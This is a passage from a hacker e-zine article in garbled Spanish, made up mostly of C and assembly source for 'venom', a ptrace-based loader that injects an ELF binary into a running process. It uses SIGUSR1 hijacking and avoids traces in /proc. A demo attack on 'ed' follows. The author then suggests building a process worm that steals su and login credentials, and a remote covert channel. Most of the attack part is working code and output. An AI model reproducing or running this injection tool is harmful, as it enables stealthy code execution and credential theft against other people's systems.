if(strstr(s,LOCALE_STUFF_TAG02)) { sscanf(s,"%*lx-%lx",&mmap_address); goto SCRIPT; } /* ALLOC_SIZE < 0x10000 : check if the target has /usr/lib/locale memory regions; if so mmap_address is just after LOCALE_STUFF_TAG02 region */ while(fgets(s,SSIZE,proc_maps) != NULL) if(strstr(s,LOCALE_STUFF_TAG01)) while(fgets(s,SSIZE,proc_maps) != NULL) if(strstr(s,LOCALE_STUFF_TAG02)) { sscanf(s,"%*lx-%lx",&mmap_address); fg = 1; break; } /* this is the default mode; use it whenever the target doesn't have locale stuff shit and ALLOC_SIZE < 0x10000: mmap address is just after the first rw-p free space region */ if(!fg) { rewind(proc_maps); while(fgets(s,SSIZE,proc_maps) != NULL) if(strstr(s,NULL_SPACE_TAG)) { sscanf(s,"%*lx-%lx",&mmap_address); break; } } goto SCRIPT; /* we avoid guessing mmap address and try to mmap a region, then we PTRACE_SYSCALL the target and get mmap returned address: useful when you cannot read /proc/pid/maps or in 2.6 kernel situations */ NO_GUESSING: /* i dont want to be alone */ printf("using no guessing mode;\n"); if(ptrace(PTRACE_ATTACH,pid,NULL,NULL) < 0) { perror("ptrace"); exit(1); } wait(NULL); if(ptrace(PTRACE_GETREGS,pid,NULL,®s) < 0) { perror("ptrace"); exit(1); } old_regs = regs; /* soften the aggression injecting some nop bytes */ put_data(pid,regs.eip,nopsh,2 * sizeof(char)); regs.eip += 2; /* inject in the program flow the opcodes of check_mmap_address: it will mmap a region and the unmap it, so we can hook sys_mmap and the read its return value */ put_data(pid,regs.eip,checkcode,checklen * sizeof(char)); ptrace(PTRACE_SETREGS,pid,NULL,®s); ptrace(PTRACE_CONT,pid,NULL,NULL); /* hook sys_mmap */ while(oeax != SYS_mmap) { ptrace(PTRACE_SYSCALL,pid,NULL,NULL); oeax = ptrace(PTRACE_PEEKUSER,pid,4 * ORIG_EAX,NULL); } /* hook sys_unmap and get ebx, that is the address returned by mmap */ ptrace(PTRACE_SYSCALL,pid,NULL,NULL); ptrace(PTRACE_SYSCALL,pid,NULL,NULL); /* oeax == SYS_unmap */ oeax = ptrace(PTRACE_PEEKUSER,pid,4 * ORIG_EAX,NULL); mmap_address = ptrace(PTRACE_PEEKUSER,pid,4 * EBX,NULL); ptrace(PTRACE_CONT,pid,NULL,NULL); /* create the linker script */ SCRIPT: fclose(proc_maps); if(system(CREATE_RAW_LD_SCRIPT) < 0) exit(1); raw_ld_script = fopen(RAW_LD_SCRIPT_NM,"r"); if(!raw_ld_script) { perror("fopen"); exit(1); } final_ld_script = fopen(FINAL_LD_SCRIPT_NM,"w"); if(!final_ld_script) { perror("fopen"); exit(1); } /* create the linker script using mmap_address - DELTA_VALUE as entry point; make the .text and .data sections be adjacent */ while(fgets(s,SSIZE,raw_ld_script) != NULL) if(strstr(s,"===")) while(fgets(s,SSIZE,raw_ld_script) != NULL) { a = strstr(s,DEFAULT_ENTRY); if(a) { for(;s != a;s++) putc(*s,final_ld_script); fprintf(final_ld_script,"0x%x",mmap_address - DELTA_VALUE); b = strstr(&a[10],DEFAULT_ENTRY); c = &a[10]; if(b) { for(;c != b;c++) putc(*c,final_ld_script); fprintf(final_ld_script,"0x%x",mmap_address - DELTA_VALUE); } fprintf(final_ld_script,"%s",&c[10]); } else { if(strstr(s,TEXT_SECTION_TAG01)) { fprintf(final_ld_script,"%s",s); fprintf(final_ld_script,"%s",TEXT_SECTION_TAG02); fprintf(final_ld_script,"%s",TEXT_SECTION_TAG03); for(i = 0;i < 6;i++) fgets(s,SSIZE,raw_ld_script); fprintf(final_ld_script,"%s",DATA_NOT_ALIGNED_TAG); fprintf(final_ld_script,"%s",BSS_NOT_ALIGNED_TAG); } fprintf(final_ld_script,"%s",s); } } fclose(raw_ld_script); unlink(RAW_LD_SCRIPT_NM); fclose(final_ld_script); /* link the obj file with the created script */ if(system(LINK_CMD) < 0) exit(1); /* we must be together */ if(argc < 3) { if(ptrace(PTRACE_ATTACH,pid,NULL,NULL) < 0) { perror("ptrace"); exit(1); } wait(NULL); } if(ptrace(PTRACE_GETREGS,pid,NULL,®s) < 0) { perror("ptrace"); exit(1); } if(argc < 3) old_regs = regs; /* put in the program flow some nop bytes to soften the aggression */ put_data(pid,regs.eip,nopsh,2 * sizeof(char)); regs.eip += 2; if(ptrace(PTRACE_SETREGS,pid,NULL,®s) < 0) { perror("ptrace"); exit(1); } if(ptrace(PTRACE_CONT,pid,NULL,NULL) < 0) { perror("ptrace"); exit(1); } wait(NULL); if(ptrace(PTRACE_GETREGS,pid,NULL,®s) < 0) { perror("ptrace"); exit(1); } /* put in the program flow the opcodes of spaghetti : it will ask the system to mmap a region in the memory space of the attached program */ printf("inserting elf code to execute;\n"); put_data(pid,regs.eip,injcode,len * sizeof(char)); /* hook sys_exit, thus avoiding the program shuts down */ while(1) { ptrace(PTRACE_SYSCALL,pid,NULL,NULL); oeax = ptrace(PTRACE_PEEKUSER,pid,4 * ORIG_EAX,NULL); ebx = ptrace(PTRACE_PEEKUSER,pid,4 * EBX); if(oeax == SYS_exit && ebx != 1) goto RESTORE; /* if ebx == 1 we know that the new handler for SIGUSR1 has not been installed, see SET_NEW_EIP */ if(ebx == 1) goto SET_NEW_EIP; } if(ptrace(PTRACE_SETREGS,pid,NULL,®s) < 0) { perror("ptrace"); exit(1); } if(ptrace(PTRACE_CONT,pid,NULL,NULL) < 0) { perror("ptrace"); exit(1); } wait(NULL); /* restore the previous situation */ RESTORE: printf("new handler for SIGUSR1 installed;\n"); printf("execute the elf binary with: kill -SIGUSR1 ;\n"); regs = old_regs; ptrace(PTRACE_SETREGS,pid,NULL,®s); ptrace(PTRACE_CONT,pid,NULL,NULL); ptrace(PTRACE_DETACH,pid,NULL,NULL); goto ALL_DONE; /* use this only if the new handler for SIGUSR1 has not been installed: we try anyway to execute the elf bin without asynchronous mode, thus setting regs.eip to the mmap returned address */ SET_NEW_EIP: printf("new handler for SIGUSR1 not installed;\n"); printf("using direct execution default mode;\n"); printf("new eip @:%p;\n",mmap_address); regs.eip = mmap_address; if(ptrace(PTRACE_SETREGS,pid,NULL,®s) < 0) { perror("ptrace"); exit(1); } if(ptrace(PTRACE_CONT,pid,NULL,NULL) < 0) { perror("ptrace"); exit(1); } ptrace(PTRACE_DETACH,pid,NULL,NULL); ALL_DONE: return 0; } /* my very elegant version of ptrace get_data */ void get_data(pid_t pid,long addr,long *str,int len) { int i = 0; while(i < len) str[i++] = ptrace(PTRACE_PEEKDATA,pid,addr + i * 4,NULL); } /* credits : phrack59-0x08.txt */ void put_data(pid_t pid,long addr,void *vptr,int len) { int i,count; long word; i = count = 0; while (count < len) { memcpy(&word,vptr+count,sizeof(word)); word = ptrace(PTRACE_POKETEXT,pid,addr + count,word); if(word < 0) { perror("ptrace"); exit(1); } count += 4; } } /* get opcodes from a function: avoid getting the three stack prelude opcodes; stop when 0xc3 (ret instruction opcode) is encountered */ int dump_code(void (*fptr)) { int t; char buf[BSIZE],*k; char *s = (char *) fptr; memset(buf,0,BSIZE); k = memccpy(buf,s,0xc3,BSIZE); /* 0xc3 is the opcode for the ret instruction */ t = k - buf - 3; /* 3 is for the stack prelude */ if(fptr == check_mmap_address) { checkcode = (char *)malloc(t); if(!checkcode) { perror("malloc"); exit(1); } memset(checkcode,0,t); memcpy(checkcode,&buf[3],t); return t; } if(fptr == spaghetti) { injcode = (char *)malloc(t); if(!injcode) { perror("malloc"); exit(1); } memset(injcode,0,t); memcpy(injcode,&buf[3],t); return t; } } /* check the mmap returned address: use only if mmap address guessing is disabled */ void check_mmap_address() { /* mmap */ __asm__("jmp mmap_arg_struct00"); __asm__("mmap00:"); __asm__("popl %esi"); __asm__("movl $0x5a,%eax"); /* sys_mmap */ __asm__("movl %esi,%ebx"); __asm__("int $0x80"); __asm__("cmpl $0x0,%eax"); __asm__("jle END00"); /* unmap the just mmapped region */ __asm__("xchg %eax,%ebx"); __asm__("movl $0x5b,%eax"); /* sys_unmap */ __asm__("movl $0x1000,%ecx"); /* change this to ALLOC_SIZE */ __asm__("int $0x80"); __asm__("cmpl $0x0,%eax"); __asm__("jle END00"); __asm__("END00:"); __asm__("int3"); __asm__("mmap_arg_struct00:"); __asm__("call mmap00"); __asm__("args00:"); /* mmap_arg_struct */ __asm__(".long 0x0"); /* addr */ __asm__(".long 0x1000"); /* len = ALLOC_SIZE */ __asm__(".long 7"); /* prot = PROT_READ | PROT_WRITE | PROT_EXEC */ __asm__(".long 0x21"); /* flags = MAP_SHARED | MAP_ANON */ __asm__(".long 0"); /* fd ignored with MAP_ANON */ __asm__(".long 0"); /* offset ignored */ } /* a hardcore example of spaghetti asm coding; use the old good jmp/call aleph1's method */ void spaghetti() { __asm__("START:"); /* ask for a region to be mmapped : we will put in it the opcodes of the elf to execute */ __asm__("jmp mmap_arg_struct01"); __asm__("mmap01:"); __asm__("popl %esi"); __asm__("movl $0x5a,%eax"); /* sys_mmap */ __asm__("movl %esi,%ebx"); __asm__("int $0x80"); __asm__("cmpl $0x0,%eax"); __asm__("jle END01"); __asm__("pushl %eax"); /* save the address returned by mmap */ /* open file to execute : we cannot mmap it directly, since its path name would be displayed in /proc/pid/mmaps */ __asm__("jmp filename01"); __asm__("open01:"); __asm__("popl %esi"); __asm__("movl $0x5,%eax"); /* sys_open */ __asm__("movl %esi,%ebx"); __asm__("xorl %ecx,%ecx"); __asm__("xorl %edx,%edx"); __asm__("int $0x80"); __asm__("cmpl $0,%eax"); __asm__("jle END01"); /* save the fd in ebx : we avoid using mov %eax,%ebx because its opcode contains 0xc3 and would be interpreted as a ret instruction by dump_code() */ __asm__("xchg %eax,%ebx"); /* lseek to the entry point offset : if you use the provided linker script usually it will be 0x1000 */ __asm__("movl $0x13,%eax"); /* sys_lseek */ __asm__("movl $0x1000,%ecx"); __asm__("movl $0x0,%edx"); __asm__("int $0x80"); /* read the binary file from the ep offset */ __asm__("jmp buffer01"); __asm__("read01:"); __asm__("popl %esi"); __asm__("movl $0x3,%eax"); /* sys_read */ __asm__("movl %esi,%ecx"); /* increase this value as the size of the elf grows */ __asm__("movl $0x1000,%edx"); __asm__("int $0x80"); /* close the file descriptor */ __asm__("movl $0x6,%eax"); __asm__("int $0x80"); __asm__("movl %ecx,%ebx"); /* ebx = buffer */ /* memcpy the read bytes to the mmapped region */ __asm__("popl %eax"); /* restore the mmap address */ __asm__("movl %eax,%edi"); __asm__("movl %ebx,%esi"); __asm__("cld"); __asm__("movl $0x1000,%ecx"); __asm__("repz movsb"); __asm__("pushl %eax"); /* we must check if there is already a non default handler for SIGUSR1: if so, we avoid setting the new one and ask the main program to execute the elf bin directly */ __asm__("SIGUSR1_TEST:"); __asm__("movl $0x30,%eax"); /* sys_signal */ __asm__("movl $0xa,%ebx"); /* SIG_USR1 */ __asm__("xorl %ecx,%ecx"); /* SIG_DFL */ __asm__("int $0x80"); __asm__("xorl %ebx,%ebx"); __asm__("incl %ebx"); /* ebx = 1 */ __asm__("cmpl $0,%eax"); __asm__("jne END01"); /* we set a new handler for SIGUSR1 so when this signal intercepted our %eip turns to the mmap returned address of the region where the elf binary is */ __asm__("SIGUSR1_NEW_HANDLER:"); __asm__("popl %eax"); __asm__("movl %eax,%ecx"); /* ecx = mmap address */ __asm__("movl $0x30,%eax"); /* sys_signal */ __asm__("movl $0xa,%ebx"); /* SIGUSR1 */ __asm__("int $0x80"); /* all done */ __asm__("END01:"); __asm__("xor %eax,%eax"); __asm__("inc %eax"); /* sys_exit */ __asm__("int $0x80"); __asm__("mmap_arg_struct01:"); __asm__("call mmap01"); __asm__("args01:"); /* mmap_arg_struct */ __asm__(".long 0x0"); /* addr */ __asm__(".long 0x1000"); /* len = ALLOC_SIZE */ __asm__(".long 7"); /* prot = PROT_READ | PROT_WRITE | PROT_EXEC */ __asm__(".long 0x21"); /* flags = MAP_SHARED | MAP_ANON */ __asm__(".long 0"); /* fd ignored with MAP_ANON */ __asm__(".long 0"); /* offset ignored */ __asm__("filename01:"); __asm__("call open01"); /* elf binary to inject : remember to change this to your own */ __asm__(".string \"/home/sbudella/src/spe/inj\""); __asm__("buffer01:"); __asm__("call read01"); /* buffer to use for sys_read : increase this value */ __asm__(".space 0x1000, 0"); } <-X-> También alego el código de un simple programa de prueba que podéis utilizar como verificación de funcionamiento. No hace nada particular, si no interceptes el SIGINT e imprimir un mensaje a vídeo. Es el codicilo más estúpido que me se ocurrido, pero sin embargo útil ya que es de pequeñas dimensiones y habiente solo .text y .data section, por lo tanto utilizable con venom sin aportar alguna modificación a éste. Por programas más complejos, podeia modificar el script del linker considerando las secciones adicionales generatas por gcc. Recordáis de no linkar este inj.asm, puesto que esa es una tarea del nuestro loader venom, y ponéis el object file en la misma dir del loader. <-| spe/inj.asm |-> ;;;;;;;;;; stupid example code: hook SIGINT and print a message. ;;;;;;;;;; nasm -f elf inj.asm ;;;;; sbudella 2006 section .data msg db '',0xa mlen equ $ - msg section .text global _start _start: lp00: mov eax,48 ; sys_signal mov ebx,2 ; sigint mov ecx,dword newhandler int 0x80 lp01: jmp lp01 newhandler: mov eax,4 mov ebx,0 mov ecx,dword msg mov edx,mlen int 0x80 jmp lp00 <-X-> Bien. Hacemos en seguida una prueba. Ante de todo buscamos en el naciente de venom el cordón '/home/sbudella/src/spe', la modificamos para que diga a spaghetti dónde ir a tomar nuestro binario y compilamos el programa. Luego linkamos el código de prueba y ponemos su object file (inj.o) en el directorio de venom. Elegimos por suerte una víctima: sbudella@hannibal:~/src/spe$ ls inj.asm inj.o venom* venom.c sbudella@hannibal:~/src/spe$ ps au | grep ed sbudella 1701 0.0 0.0 1568 480 pts/2 S+ 19:03 0:00 ed sbudella 1708 0.0 0.1 1672 580 pts/1 S+ 19:03 0:00 grep ed sbudella@hannibal:~/src/spe$ ./venom 1701 inserting elf code to execute; new handler for SIGUSR1 installed; execute the elf binary with: kill -SIGUSR1 ; sbudella@hannibal:~/src/spe$ kill -SIGUSR1 1701 sbudella@hannibal:~/src/spe$ kill -2 1701 sbudella@hannibal:~/src/spe$ kill -2 1701 sbudella@hannibal:~/src/spe$ kill -9 1701 sbudella@hannibal:~/src/spe$ Vemos la salida (output) de la víctima: sbudella@hannibal:~$ ed Killed sbudella@hannibal:~$ Óptimo. Como podéis ver desde el banal ejemplo propuesto, hemos atacado el pobre y lacónico 'ed', venom nos informa que ha podido instalar el nuevo handler, por lo tanto sabemos que estaba programado aquello de defaul, mientras detras los bastidores ha hecho el linking necesario; hemos mandado un SIGUSR1 a la víctima para activar el código en memoria de el binario y enseguida hemos enviado un par de SIGINT y rápidamente el código de prueba ha funcionado a la perfección. Ningunos nudo en el task_struct, ningunos entry en proc, nada de nada. Naturalmente hemos considerado un caso simple, con el elf binary constituido sólo de .text .data y .bss section. En los casos reales toca modificar, como ya he tenido modo de decir, el script y el loader mismo, en todo caso nada de absolutamente complicado (por lo tanto ancho a man ld, info ld). Las aplicaciones de esta nueva técnica pueden ser muchas, dese las más clásicas a las más exóticas: pensáis en un process worm puro, que una vez cargado en el espacio de una víctima, elija otras de modo random desplazándose de un proceso al otro en busca de informaciones útiles (su, login y hermanos: con ptrace podemos hookare los syscall y leer los argumentos). O bien podemos establecer un covert channel entre la máquina comprometida y otro sistema, así de leer directamente el código de el binario directamente de remoto y hacer de ello el linking al vuelo. Como veis, se pueden hacer muchas guarradas. En todo caso el modo más simple para evitar generalmente tener problemas con éste ejecución simbiótica podría ser aquélla propuesta por vecna en BFi-10[6] concierno a los anti-debug tricks: inhabilitar la llamada ptrace, perjudicando pero el empleo de software de diagnóstico importantes entre los quales strace, gdb. Pero éstas sólo son especulaciones sin ningún sentido, mientras tanto podeia ententar hacer un software anti-males (anti-desdicha) y que me haga vencer a la lotería. Muchas gracias. ***** Greetings. A Salvo&Ros: este es para vosotros, mi corazón, merecerías una vida mejor: "Lo que hacéis a Chiba es una versión reducida de lo que tendríais hecho en cualquier otro lugar. La desdicha, como a veces pasa, te reduce a los mínimos términos"; Un agradecimiento especial a todo el BFi staff por la atención que me han dedicado y por todas las sugerencias, consejos y nuevas ideas propuestas. Gracias. Además un saludo a los amigos de dietroleposte y a alrededores, cryptestesia y quienquiera està por partir o ya haya partido: en la vida lo importante es no cogerse demasiado en serio. ***** Referencias. [1] BFi-11: Smashing The Kernel for Fun and Profit - Dark Angel http://bfi.s0ftpj.org/dev/BFi11-dev-11 [2] The Design and Implementation of Userland Exec - the grugq http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040101/fea4fb1f/ul_exec.txt [3] Phrack59-0x0c: Building Ptrace Injecting Shellcode - anonymous http://www.phrack.com/archives/59/p59-0x0c.txt [4] BFi-11: Ptrace for Fun and Profit - xenion http://bfi.s0ftpj.org/dev/BFi11-dev-13 [5] Executable and Linkable Format Specification - Brian Raiter http://www.muppetlabs.com/~breadbox/software/ELF.txt [6] BFi-10: Analisi Virus per Linux - vecna http://www.s0ftpj.org/bfi/online/bfi10/BFi10-17.html Reversing and Asm Coding for Linux: http://racl.oltrelinux.com -[ WEB ]---------------------------------------------------------------------- http://bfi.s0ftpj.org [main site - IT] http://bfi.slackware.it [mirror - IT] http://bfi.freaknet.org [mirror - AT] http://bfi.anomalistic.org [mirror - SG] -[ E-MAiL ]------------------------------------------------------------------- bfi@s0ftpj.org -[ PGP ]---------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- ============================================================================== -----------------------------------[ EOF ]------------------------------------ ==============================================================================